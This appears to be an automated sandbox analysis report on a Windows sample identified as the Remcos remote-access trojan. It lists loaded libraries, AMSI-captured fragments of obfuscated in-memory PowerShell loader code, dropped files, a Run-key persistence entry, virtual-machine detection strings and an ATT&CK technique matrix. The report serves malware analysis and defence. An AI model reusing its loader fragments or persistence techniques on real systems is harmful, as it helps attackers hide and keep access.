Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Motherland $Deamidation $Highjacks), (Toozoo @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Direach = [AppDomain]::CurrentDomain.GetAssemblies()$global:So
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Antiklimakser)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Amtsgymnasiet, $false).DefineType($Skraasej

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3D6D1 push ebx; ret	10_2_08C3D6D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C36EF2 push dword ptr [ebx+esi*2]; iretd	10_2_08C36F18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C366F2 push es; retf	10_2_08C366F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3D69E push 53A2941Bh; ret	10_2_08C3D6AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C390B0 push 97920D78h; ret	10_2_08C390B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3CA0C push edx; ret	10_2_08C3CA0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3B21D push F32D283Ch; retf	10_2_08C3B222
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3B62C push eax; ret	10_2_08C3B637
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C36D61 push ss; ret	10_2_08C36D62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08C3DF65 push ebx; ret	10_2_08C3DF72

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\anziOUzZJs.exe	File created: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\BgImage.dll	Jump to dropped file
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File created: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\anziOUzZJs.exe	File created: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Partivarerne.scr	Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Preferentialist			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Preferentialist			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8487			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1182			Jump to behavior

Source: C:\Users\user\Desktop\anziOUzZJs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\BgImage.dll	Jump to dropped file
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu2C03.tmp\nsDialogs.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -7378697629483816s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3028	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: Amcache.hve.33.dr	Binary or memory string: VMware
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.33.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.33.dr	Binary or memory string: VMware, Inc.
Source: anziOUzZJs.exe, 00000000.00000002.1323264794.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\}}
Source: powershell.exe, 0000000A.00000002.2007087274.00000000070FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZS
Source: Amcache.hve.33.dr	Binary or memory string: VMware20,1hbin@
Source: anziOUzZJs.exe, 00000000.00000002.1323264794.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:GG<
Source: Amcache.hve.33.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.33.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.33.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: powershell.exe, 0000000A.00000002.2010084305.00000000081BB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2009656049.0000000008137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2507024953.0000014BA0454000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2505366099.0000014B9AE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.33.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.33.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.33.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.33.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.33.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.33.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.33.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.33.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.33.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.33.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.33.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.33.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.33.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.33.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.33.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.33.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.33.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.33.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.33.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\anziOUzZJs.exe	API call chain: ExitProcess graph end node			graph_0-3610
Source: C:\Users\user\Desktop\anziOUzZJs.exe	API call chain: ExitProcess graph end node			graph_0-3605

Source: powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager-
Source: powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerTRI
Source: powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager4D\[
Source: powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager6)\Comm
Source: powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managertdesk@
Source: powershell.exe, 0000000A.00000002.2007087274.000000000711C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2009656049.000000000814A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Program Manager]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: Amcache.hve.33.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: MsMpEng.exe

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Obfuscated Files or Information	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	11 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	12 Process Injection	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report anziOUzZJs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
anziOUzZJs.exe